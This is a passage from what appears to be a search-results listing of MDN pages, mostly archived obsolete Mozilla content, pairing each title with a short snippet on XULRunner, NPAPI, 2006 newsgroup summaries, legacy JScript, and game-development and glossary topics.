b these point at amo pref("extensions.update.url", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmoreextensionsurl", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmorethemesurl", "chrome://mozapps/locale/extensions/extensions.properties"); if your application is based on gecko 2.0, you need to register a component through the new component registration because the extension manager uses fuel, namely application.restart(), to restart your xulrunner-based application after any change (installation, removal, enabling, disabling) in the extensions' list: copy files fuelapplication.js and fuelapplication.manifest from browser/fuel/src for instance into your components/ directory tweak the line #include ../../../toolkit/com...
Windows and menus in XULRunner - Archive of obsolete content
me://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> <toolbox> <menubar id="menubar"> <menu id="file-menu" label="&file;"> <menupopup id="file-popup"> <menuitem label="&file.new;" oncommand="dofilenew();"/> <menuitem label="&file.open;" oncommand="dofileopen();"/> <menuitem label="&file.save;" oncommand="dofilesave();"/> <menuseparator/> <menuitem label="&file.exit;" oncommand="dofileexit();"/> </menupopup> </menu> <menu id="edit-menu" label="&edit;"> <menupopup id="edit-popup"> <menuitem label...
XUL Application Packaging - Archive of obsolete content
the email format is recommended for newly developed applications.
toolkit.defaultChromeURI - Archive of obsolete content
type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.defaultchromeuri", "chrome://myapp/content/"); the toolkit.defaultchromeuri preference allows simple xulrunner-based applications to open a new window when the application is launched.
XULRunner - Archive of obsolete content
mailing list newsgroup rss feed #xulrunner on irc.mozilla.org other community links...
ant script to assemble an extension - Archive of obsolete content
this ant script helps to package an extension <?xml version="1.0"?> this build file was written by régis décamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="version" value="1.3-rc1"/> <property name="description" value="new context-menu item to add the current page in your blogmarks"/> xpi file is created after "chrome/blogmark.jar" is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" description="assemble the final build blogmark.xpi"> <zip destfile="blogmark-${version}.xpi"> <zipfileset dir="." includes="chrome/blogmark.jar" /> <zipf...
application/http-index-format specification - Archive of obsolete content
quoted tokens are terminated by the next quote but may not contain carrage returns or new lines.
calICalendarView - Archive of obsolete content
other areas of the code will often use this as a basis for default values for new calievents and calitodos.
mozilla.dev.platform FAQ - Archive of obsolete content
then unpack the xul app into the mac structure with xulrunner -install-app q: can you build xulrunner with newer (>1.5) features, such as storage?
Mozprofile - Archive of obsolete content
example: from mozprofile import firefoxprofile # create new profile to pass to mozmill/mozrunner profile = firefoxprofile(addons=["adblock.xpi"]) setting preferences preferences can be set in several ways: using the api: you can pass preferences in to the profile class's constructor: obj = firefoxprofile(preferences=[("accessibility.typeaheadfind.flashbar", 0)]) using a json blob file: mozprofile --preferences myprefs.json using a .ini file: mozprofi...
Mozrunner - Archive of obsolete content
example api usage: from mozrunner import firefoxrunner # start firefox on a new profile runner = firefoxrunner() runner.start() ...
nsIContentPolicy - Archive of obsolete content
note: acontext is the new tab/window when a user uses the context menu to open a link in a new tab/window or cmd/ctrl + clicks the link (i.e., acontext is not the tab which the link was on in these cases).
Format - Archive of obsolete content
this is an example of what a newsgroup summary should look like when completed.
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
places in firefox 3 discussion regarding places (a new system for storing bookmarks, histroy and other page info) in firefox 3.
2006-11-10 - Archive of obsolete content
discussions firefox: an open source accessibility success story aaron leventhal of ibm recently published a new article praising firefox accessibility.
2006-10-06 - Archive of obsolete content
places in firefox 3 discussion regarding places (a new system for storing bookmarks, histroy and other page info) in firefox 3.
2006-10-13 - Archive of obsolete content
user questions about a open/saveas bug that already exisits: https://bugzilla.mozilla.org/show_bug.cgi?id=347230 installer for 2.0rc2 ehume gives the developers a thumbs up for the new installer for 2.0rc2 having a textfield where you can type in the installation directory.
2006-10-26 - Archive of obsolete content
(what it is, how to use it) cross-post-and followup fx2 announcment to support-firefox request for when the announcement about firefox 2's release to be posted on the mozilla.dev.apps.firefox newsgroup.
2006-10-27 - Archive of obsolete content
(what it is, how to use it) cross-post-and followup fx2 announcment to support-firefox request for when the announcement about firefox 2's release to be posted on the mozilla.dev.apps.firefox newsgroup.
2006-12-01 - Archive of obsolete content
suggestion for status bar suggestion that a new status bar be implemented that would have a hover>appear style of operation similar to the mac "menu".
2006-10-06 - Archive of obsolete content
hence, they are looking for a mac user to test out the new features by building a mac.rdf file with all of the various .mac account properties mentioned in the document here.
2006-10-27 - Archive of obsolete content
calling tb with a specific message to be displayed there's a new question by guenter about calling tb from an external program (eg.
2006-10-06 - Archive of obsolete content
announcements new svg build dependency coming on october 2nd t rowley announced that: soon svg on the trunk will be switching to use thebes directly (instead of the current choice of direct cairo or punching a hole through thebes to cairo).
2006-10-20 - Archive of obsolete content
boris zbarsky's said: the reason why gtk1 builds are still being performed is because: when requests are made to change build boxes to newer versions the people responsible for making the change reply with "that would require an os upgrade".
2006-11-03 - Archive of obsolete content
new windows compatibility issue?
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.builds - november 4th to november 10th 2006 browser buttons november 4th: mojr wants to know if firefox has a similar feature that the new ie 6 has built in.
2006-11-10 - Archive of obsolete content
latvian pellcheck dictionary for ff2.0 newest openoffice dictionary files for ff 2.0 spell-checker is available.
2006-12-08 - Archive of obsolete content
new strings in thunderbird new strings in thunderbird new bugzilla-staging.mozilla.org a staging server for a new bugzilla upgrade.
2006-10-06 - Archive of obsolete content
the new roadmap - will there be something sometime?
2006-10-13 - Archive of obsolete content
10; the target release date for rc3 is october 17 new tinderbox and bonsai servers the build team would like help testing out the new tinderbox and bonsai servers.
2006-11-10 - Archive of obsolete content
announcments mike connor announced new 'driving' bugs "we have added a pair of drivers-only flags...o track bugs that are not strictly blockers, but are wanted as soon as possible" benjamin smedberg announced new rules for patches to toolkit from now on unit test must be provided with all patches.
2006-09-29 - Archive of obsolete content
summary of newsgroup moz.dev.platform summary: mozilla.dev.platform - september 22 - 29, 2006 announcements firefox 2 release candidate 1 is now available for download announcing that firefox 2 rc 1 is available for download discussions xulrunner fails without feedback on osx intel 10.4.7 will morton is trying to port a xul application to osx.
2006-11-03 - Archive of obsolete content
chat with the creator of javascript and mozilla cto brendan eich this tuesday, november 7th at 10am pst (utc-8) traffic xepra wants to know how to open multiple tabs in a new window.
2006-11-10 - Archive of obsolete content
he wants to know how to create new threads using javascript for background download operations.
2006-12-01 - Archive of obsolete content
lorne kates replies, pointing to the existing faq for this newsgroup.
mozilla-dev-platform - Archive of obsolete content
about newsgroup summary for mozilla.dev.platform (google groups link) is for people working on the mozilla application framework ("mozilla-the-platform").
2006-09-29 - Archive of obsolete content
help testing helper extension - someone made a new extension.
2006-10-20 - Archive of obsolete content
help required designing new home for quality.mozilla.org - talented web designers and/or artists interested in helping the design for quality.mozilla.org please read this posting.
2006-10-06 - Archive of obsolete content
problem looping c_opensession problem in thunderbird christian bongiorno has run into a problem developing a pkcs11 module for a new card.
2006-11-03 - Archive of obsolete content
the aim of the group is to develop a new, higher standard for the validation which is done before certificate issuance, called extended validation.
2006-11-17 - Archive of obsolete content
extended validation certificates a note as to how opera is handling extended validation certificates http://labs.opera.com/news/2006/10/09/ fwd: re: mozilla questions regarding the ev standard gervase markham posted a summary of questions emailed to kelvin yiu about the extended validation certificates.
2006-11-03 - Archive of obsolete content
announcements developer chat with javascript developer brendan eich on tuesday, november 7th at 10am pst (utc-8) brendan eich and some special guests will be hosting a developer chat about new technologies comming to mozilla 2.
2006-11-17 - Archive of obsolete content
recycle array objects a user trying to overcome the need of using huge number of arrays (as vectors) asks if its possible to reuse unreferenced array objects instead of create new ones in spidermonkey.
2006-12-01 - Archive of obsolete content
peter wilson's reply was to add a method that does the deleting with a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select * from mytable where ..."); // use the result data - (native implementation function) mydbase.close() spidermonkey for server side inquiry about why javascript hasn't caught on for general server-side scripting.
JS-Engine FAQ - Archive of obsolete content
newly created threads in js from mozilla_1_8_branch causes to hang in windows patch from bug 351602 should fix the problem.
2006-11-24 - Archive of obsolete content
see bigid 360789 new linebreaker interface new linebreaker current interface is unworkable when it comes to using thai and uax#14.
2006-10-13 - Archive of obsolete content
discussions wxmozilla and ff1.5 xpcom problems updating wxmozilla to use it with firefox 1.5.7 browser elements, opening links in a new window using javascript to open window in new window.
2006-11-17 - Archive of obsolete content
for a summary of the changes and workarounds, read nickolay's post in the mozilla.dev.tech.xul newsgroup.
2006-11-03 - Archive of obsolete content
aborting a new event/edit event dialog discussions about behaves of new event/edit event.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 3 - november 10, 2006 announcements calendar-qa team announces november 14th testday calendar-qa team celebrate some new functionality of calendar.
2006-11-17 - Archive of obsolete content
discussions itip and imip new designs for sending invitations available for comment discussion about the new interface designs for itip.
Browser-side plug-in API - Archive of obsolete content
npn_destroystream npn_forceredraw npn_getauthenticationinfo npn_geturl npn_geturlnotify npn_getvalue npn_getvalueforurl npn_invalidaterect npn_invalidateregion npn_memalloc npn_memflush npn_memfree npn_newstream npn_pluginthreadasynccall npn_poppopupsenabledstate npn_posturl npn_posturlnotify npn_pushpopupsenabledstate npn_reloadplugins npn_requestread npn_setvalue npn_setvalueforurl npn_status npn_useragent npn_version npn_write ...
NPClass - Archive of obsolete content
allocate returns a pointer to a newly allocated npobject.
NPN_MemAlloc - Archive of obsolete content
since npn_memalloc automatically frees cached information if necessary to fulfill the request, calls to npn_memalloc may succeed where direct calls to newptr fail.
NPN_ReloadPlugins - Archive of obsolete content
npn_reloadplugins() lets you install a new plug-in and load it, or to remove a plug-in, without having to restart the browser.
NPN_SetValueForURL - Archive of obsolete content
value the new associated information for the url.
NPP_DestroyStream - Archive of obsolete content
see also npp_newstream, npstream ...
NPP_SetValue - Archive of obsolete content
description none see also npp_new, npp_getvalue, npn_setvalue, npn_getvalue ...
NPP_SetWindow - Archive of obsolete content
before setting the window parameter to point to a new window, it is a good idea to compare the information about the new window to the previous window (if one existed) to account for any changes.
NP_Initialize - Archive of obsolete content
see also np_shutdown, npp_new ...
NPAPI plug-in side API - Archive of obsolete content
npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready ...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
people can (potentially) post new comments to an item at any given time.
How RSS Works - Archive of obsolete content
a news website would be at the server end of rss syndication.
Why use RSS - Archive of obsolete content
people are using it to syndicate all sorts of things: news articles, blogs, bookmarks, internet radio shows, internet television shows, software updates, e-mails, mailing lists, music playlists, and more.
Well-Formed Web - Archive of obsolete content
the well-formed web rss module provides facilities for <item> level commenting: for linking to comments contained in an external rss feed, and for posting new comments.
Encryption and Decryption - Archive of obsolete content
a person with an unauthorized symmetric key not only can decrypt messages sent with that key, but can encrypt new messages and send them as if they came from one of the two parties who were originally using the key.
Introduction to SSL - Archive of obsolete content
the ssl protocol ciphers used with ssl the ssl handshake the new internet engineering task force (ietf) standard protocol called transport layer security (tls) is based on ssl.
Solaris 10 Build Prerequisites - Archive of obsolete content
the installer will try to install the sunwsmbas package, which is not available in newer versions of sxde.
Table Reflow Internals - Archive of obsolete content
put the continuation on a new line and place that line on its overflow lines property.
The Basics of Web Services - Archive of obsolete content
the basics web services are not really anything that new, and actually, if you've ever used an rss or atom feed to pull news from a website, you have an idea of how a web service might work.
Create Your Own Firefox Background Theme - Archive of obsolete content
creating a theme footer image in older versions of firefox, or newer versions with certain add-ons installed, the footer image is displayed as the background of the bottom of the browser window, behind the add-on and find bars.
Making sure your theme works with RTL locales - Archive of obsolete content
*/ #a > #b > #c { /* normal rules */ } #a[chromedir="rtl"] > #b > #c { /* rtl rules */ } tip: sometimes, like in the back and forward arrows, you don't really need new versions of the images.
Theme changes in Firefox 3 - Archive of obsolete content
changes in browser --- changes in global all platforms the yellow background for the location bar has been deprecated; instead, themes should style the new #identity-box element depending on its verifieddomain/verifiedidentity class.
Settings - Archive of obsolete content
automatically black box minified sources new in firefox 33.
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
this is done by adding new <targetapplication> tags to the install.rdf file, like this: <!-- describe the thunderbird versions we support --> <em:targetapplication> <description> <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> </description> </em:targetapplication> <!-- describe the sunbird ...
Summary of Changes - Archive of obsolete content
http://www.w3.org/tr/2004/rec-dom-le...e3-textcontent ie5+ elemref.style.pixeltop dom level 2: parseint(elemref.style.top, 10) ie5+ elemref.style.pixelleft = x; elemref.style.pixeltop = y; dom level 2: elemref.style.left = x + "px"; elemref.style.top = y + "px"; ie5+ new activexobject("microsoft.xmlhttp") new xmlhttprequest() proprietary or deprecated feature w3c feature or recommended replacement ...
-moz-border-bottom-colors - Archive of obsolete content
formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
-moz-border-left-colors - Archive of obsolete content
formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
-moz-border-right-colors - Archive of obsolete content
formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
-moz-border-top-colors - Archive of obsolete content
formal syntax <color>+ | nonewhere <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
-moz-text-blink - Archive of obsolete content
newer versions removed its definition.
-moz-maemo-classic - Archive of obsolete content
if it's using the newer fremantle theme, this is 0.
Displaying notifications (deprecated) - Archive of obsolete content
right now!"); this returns a new notification object, but does not actually display the notification.
E4X for templating - Archive of obsolete content
@param {function} h the sorting handler */ function sort (xmllist, h) { var k, arr=[], ret = <></>; for (k in xmllist) { if (xmllist.hasownproperty(k)) { arr.push(xmllist[k]); } } arr.sort(h).foreach(function (item) { if (typeof item === 'xml') { ret += item; } else if (typeof item === 'string') { ret += new xml(item); } else { var ser = (new xmlserializer()).serializetostring(item); ret += new xml(ser); } }); return ret; } example: var fruits = <fruits> <item>pear</item> <item>banana</item> <item>grapes</item> </fruits>; alert( // using a javascript 1.8 expression closure <output> {sort(fruits.*, function (a, b) a.text() > b.t...
E4X - Archive of obsolete content
ArchiveWebE4X
workaround: var response = xmlhttprequest.responsetext; // bug 270553 response = response.replace(/^<\?xml\s+version\s*=\s*(["'])[^\1]+\1[^?]*\?>/, ""); // bug 336551 var e4x = new xml(response); resources e4x tutorial processing xml with e4x on mdc e4x for templating see the list of e4x-related pages on mdc ecma-357 standard brendan's presentation e4x at faqts.com e4x quick reference at rephrase.net ...
Debug.write - Archive of obsolete content
the only difference is that the debug.writeln function sends a newline character after the strings are sent.
Debug - Archive of obsolete content
debug.writeln sends strings to the script debugger, followed by a newline character.
Enumerator.atEnd - Archive of obsolete content
example in following code, the atend method is used to determine if the end of a list of drives has been reached: function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / bytespergb; s += freegb.tofixed(3) + " gb free of "; ...
Enumerator.item - Archive of obsolete content
example function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / bytespergb; s += freegb.tofixed(3) + " gb free of "; ...
Enumerator.moveFirst - Archive of obsolete content
example in following example, the movefirst method is used to evaluate members of the drivescollection from the beginning of the list: function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / bytespergb; s += freegb.tofixed(3) + " gb free of "; ...
Enumerator.moveNext - Archive of obsolete content
example in following example, the movenext method is used to move to the next drive in the drives collection: function showdrives() { var s = ""; var bytespergb = 1024 * 1024 * 1024; var fso = new activexobject("scripting.filesystemobject"); var e = new enumerator(fso.drives); e.movefirst(); while (e.atend() == false) { var drv = e.item(); s += drv.path + " - "; if (drv.isready) { var freegb = drv.freespace / bytespergb; var totalgb = drv.totalsize / bytespergb; s += freegb.tofixed(3) + " gb free of "; ...
Error.stackTraceLimit - Archive of obsolete content
try { var err = new error("my error"); error.stacktracelimit = 7; throw err; } catch(e) { document.write("error stack trace limit: ") document.write(error.stacktracelimit); } requirements supported in internet explorer 10 and in windows 8.x store apps.
VBArray.dimensions - Archive of obsolete content
<head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vba) { var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "the upper bound of dimension "; s += i + " is "; s += a.ubound(i); s += ".<br />"; } return(s); } --> </script> </head> <body> <script type="text/javascript"> document.write(vbarraytest(createvbarray())); </script> </body> requirements supported in the following document modes: qui...
VBArray.getItem - Archive of obsolete content
> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(i, j) = k document.writeln(k) k = k + 1 next document.writeln("<br>") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function getitemtest(vbarray) { var i, j; var a = new vbarray(vbarray); for (i = 0; i <= 2; i++) { for (j =0; j <= 2; j++) { document.writeln(a.getitem(i, j)); } } } --> </script> </head> <body> <script type="text/javascript"> <!-- getitemtest(createvbarray()); --> </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, ...
VBArray.lbound - Archive of obsolete content
<head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vba){ var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "the lower bound of dimension "; s += i + " is "; s += a.lbound(i); s += ".<br />"; } return (s); } --> </script> </head> <body> <script type="text/javascript"> document.write(vbarraytest(createvbarray())); </script> </body> requirements supported in the following document modes: q...
VBArray.toArray - Archive of obsolete content
<head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k document.writeln(k) k = k + 1 next document.writeln("<br>") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vbarray) { var a = new vbarray(vbarray); var b = a.toarray(); var i; for (i = 0; i < 9; i++) { document.writeln(b[i]); } } --> </script> </head> <body> <script type="text/javascript"> <!-- vbarraytest(createvbarray()); --> </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standar...
VBArray.ubound - Archive of obsolete content
<head> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(j, i) = k k = k + 1 next next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function vbarraytest(vba) { var i; var a = new vbarray(vba); var s = ""; for (i = 1; i <= a.dimensions(); i++) { s += "the upper bound of dimension "; s += i + " is "; s += a.ubound(i); s += ".<br />"; } return (s); } --> </script> </head> <body> <script type="text/javascript"> document.write(vbarraytest(createvbarray())); </script> </body> requirements supported in the following document modes: q...
@set - Archive of obsolete content
nan can be checked for using the @if statement: @if (@newvar != @newvar) ...
Object.unobserve() - Archive of obsolete content
examples unobserving an object var obj = { foo: 0, bar: 1 }; var observer = function(changes) { console.log(changes); } object.observe(obj, observer); ​ obj.newproperty = 2; // [{name: 'newproperty', object: <obj>, type: 'add'}] object.unobserve(obj, observer); obj.foo = 1; // the callback wasn't called using an anonymous function var person = { name: 'ahmed', age: 25 }; object.observe(person, function(changes) { console.log(changes); }); person.age = 40; // [{name: 'age', object: <obj>, oldvalue: 25, type: 'update'}] object.unobserve(person...
String.prototype.quote() - Archive of obsolete content
syntax str.quote() return value a new string representing the original string wrapped in double-quotes, with any special characters escaped.
JavaClass - Archive of obsolete content
example in the following example, the javaclass object java.lang.string is passed as an argument to the newinstance method which creates an array: var cars = java.lang.reflect.array.newinstance(java.lang.string, 15); see also javaarray, javaobject, javapackage, packages ...
Sharp variables in JavaScript - Archive of obsolete content
#1 = {}; // this doesn't do much since the sharp variable is out of scope immediately after a = #2 = {}; // slightly more useful since we retain a reference to the new object to reference the sharp variable, simply append another sharp (#) to the end of the variable name.
Standards-Compliant Authoring Tools - Archive of obsolete content
newer versions of microsoft frontpage™ have improved, however be sure not to rely on frontpage-specific extensions for critical website content or functionality.
Building Mozilla XForms - Archive of obsolete content
if you are sure that older or newer firefox versions are compatible with your extension, you can unzip the xpi file (it's a regular zip file), edit the install.rdf and change the minversion and maxversion entries.
Developing Mozilla XForms - Archive of obsolete content
you should create a new, clean profile for debugging.
RFE to the Custom Controls - Archive of obsolete content
probably this feature should be implemented by adding a new custom control.
RFE to the XForms API - Archive of obsolete content
ArchiveWebXFormsRFEXForms API
xforms functional interfaces put here your requirements to improve existing xforms interfaces or to add a new one.
XForms Styling - Archive of obsolete content
however, most of the time the transition is straight-forward: view the source after processing of your xforms document, and map the old styles to the new elements.
Using XForms and PHP - Archive of obsolete content
$newnode = $dom->create_element("boo"); $root->append_child($newnode); ...
XForms - Archive of obsolete content
mailing list newsgroup rss feed #xforms channel on irc.mozilla.org w3c forms mailing list other community links...
Archived open Web documentation - Archive of obsolete content
instead of opening a new window, it merges the specified xul dialog into the main window.
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
following standards is certainly not a new organizational phenomenon; organizations require their employees to follow common rules, or a common set of standards all the time.
Community - Archive of obsolete content
if you know of useful mailing lists, newsgroups, forums, or other communities related to web standards, please link to them here.
Displaying a graphic with audio samples - Archive of obsolete content
img> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft = new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.framebuffer, t = event.time, /* unused, but it's there */ signal = new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, /...
Mozilla's DOCTYPE sniffing - Archive of obsolete content
it has been replaced by a new html 5 parser in firefox 4 and newer.
Popup Window Controls - Archive of obsolete content
mozilla and firefox allow users to control most unsolicited attempts to open new windows such as popup and popunder windows.
RDF in Fifty Words or Less - Archive of obsolete content
there are tons of others, including email messages, usenet news articles (or entire usenet news groups), and search results from your favorite web crawler, just to name a few.
Common causes of memory leaks in extensions - Extensions
for example, the following code snippets — part of a bootstrap.js — will leak: function leakref() {} function modifydocument(document) { var a = document.createelement("a"); document.body.appendchild(a); // the new dom node holding a reference to leakref will prevent // that function object from being garbage collected and hence // will leak the whole bootstrap compartment.
Community - Extensions
if you know of useful mailing lists, newsgroups, forums, or other communities related to extension development, please link to them here.
Examples - Game development
star citadel a new take on star castle, cinematronics' classic 1980 arcade game, built with canvas 2d.
Index - Game development
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
Game distribution - Game development
this article covers all you need to know about the ways in which you can distribute your newly created game into the wild.
Explaining basic 3D theory - Game development
the camera has three parameters — location, direction, and orientation — which have to be defined for the newly created scene.
3D games on the Web - Game development
we have information available for you to learn from: 2d collision detection 3d collision detection webxr the concept of virtual reality is not new, but it's storming onto the web thanks to hardware advancements such as the oculus rift, and the (currently experimental) webxr api for capturing information from vr and ar hardware and making it available for use in javascript applications.
Async scripts for asm.js - Game development
instead of using eval or innerhtml, both of which trigger synchronous compilation, you should use a blob with an object url: var blob = new blob([codestring]); var script = document.createelement('script'); var url = url.createobjecturl(blob); script.onload = script.onerror = function() { url.revokeobjecturl(url); }; script.src = url; document.body.appendchild(script); the setting of src rather than innerhtml is what makes this script async.
Mobile touch controls - Game development
for example, tapping on the right side of the screen will fire the weapon: this.buttonshoot = this.add.button(this.world.width*0.5, 0, 'button-alpha', null, this); this.buttonshoot.oninputdown.add(this.goshootpressed, this); this.buttonshoot.oninputup.add(this.goshootreleased, this); the code above will create a new button using a transparent image that covers the right half of the screen.
Unconventional controls - Game development
you can also check this handy cheat sheet seen below if you're working with panasonic tvs running firefox os: you can add moving between states, starting a new game, controlling the ship and blowing stuff up, pausing and restarting the game.
Tiles and tilemaps overview - Game development
for instance, a rock that could appear on top of several terrain types (like grass, sand or brick) could be included on it's own separate tile which is then rendered on a new layer, instead of several rock tiles, each with a different background terrain.
Build the brick field - Game development
add the following just below your variables: var bricks = []; for(var c=0; c<brickcolumncount; c++) { bricks[c] = []; for(var r=0; r<brickrowcount; r++) { bricks[c][r] = { x: 0, y: 0 }; } } the code above will loop through the rows and columns and create the new bricks.
Create the Canvas and draw on it - Game development
using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev canvas workshop</title> <style> * { padding: 0; margin: 0; } canvas { background: #eee; display: block; margin: 0 auto; } </style> </head> <body> <canvas id="mycanvas" width="480" height="320"></canvas> <...
Track the score and win - Game development
rickrowcount; r++) { var b = bricks[c][r]; if(b.status == 1) { if(x > b.x && x < b.x+brickwidth && y > b.y && y < b.y+brickheight) { dy = -dy; b.status = 0; score++; } } } } } calling drawscore() from the draw() function keeps the score up to date with every new frame — add the following line inside draw(), just below the drawpaddle() call: drawscore(); displaying a winning message when all bricks have been destroyed collecting the points works well, but you won't be adding them forever — what about when all the bricks have been destroyed?
Animations and tweens - Game development
go to your ballhitbrick() function, find your brick.kill(); line, and replace it with the following: var killtween = game.add.tween(brick.scale); killtween.to({x:0,y:0}, 200, phaser.easing.linear.none); killtween.oncomplete.addonce(function(){ brick.kill(); }, this); killtween.start(); let's walk through this so you can see what's happening here: when defining a new tween you have to specify which property will be tweened — in our case, instead of hiding the bricks instantly when hit by the ball, we will make their width and height scale to zero, so they will nicely disappear.
Game over - Game development
add the following lines just below the previous new one: ball.checkworldbounds = true; ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); adding those lines will make the ball check the world (in our case canvas) bounds and execute the function bound to the onoutofbounds event.
Move the ball - Game development
add the following new lines of the code inside update(), as shown: function update() { ball.x += 1; ball.y += 1; } the code above adds 1 to the x and y properties representing the the ball coordinates on the canvas, on each frame.
Win the game - Game development
add the following new code into your ballhitbrick() function: function ballhitbrick(ball, brick) { brick.kill(); score += 10; scoretext.settext('points: '+score); var count_alive = 0; for (i = 0; i < bricks.children.length; i++) { if (bricks.children[i].alive == true) { count_alive++; } } if (count_alive == 0) { alert('you won the game, congratulations!'); location.reload(); } } we lo...
Game development
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
Abstraction - MDN Web Docs Glossary: Definitions of Web-related terms
example class implementabstraction { // method to set values of internal members set(x, y) { this.a = x; this.b = y; } display() { console.log('a = ' + this.a); console.log('b = ' + this.b); } } const obj = new implementabstraction(); obj.set(10, 20); obj.display(); // a = 10 // b = 20 learn more general knowledge abstraction on wikipedia ...
Block (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
a block on a webpage is an html element that appears on a new line, i.e.
Block - MDN Web Docs Glossary: Definitions of Web-related terms
it may refer to: block (css) a block on a webpage is an html element that appears on a new line, i.e.
Bootstrap - MDN Web Docs Glossary: Definitions of Web-related terms
you don't need to worry about compatibility with other browsers either, as bootstrap is compatible with all modern browsers and newer versions of internet explorer.
CRLF - MDN Web Docs Glossary: Definitions of Web-related terms
learn moreedit general knowledge newline on wikipedia carriage return on wikipedia ...
Constant - MDN Web Docs Glossary: Definitions of Web-related terms
with variables, on the other hand, the programmer can assign a new value to a variable name already in use.
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved previous condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example.
Dynamic programming language - MDN Web Docs Glossary: Definitions of Web-related terms
for example, in javascript it is possible to change the type of a variable or add new properties or methods to an object while the program is running.
FTU - MDN Web Docs Glossary: Definitions of Web-related terms
ftu (first time use) is the app that loads when you run a newly-installed version of gecko on a firefox os device.
Flex - MDN Web Docs Glossary: Definitions of Web-related terms
flex is a new value added to the css display property.
Forbidden header name - MDN Web Docs Glossary: Definitions of Web-related terms
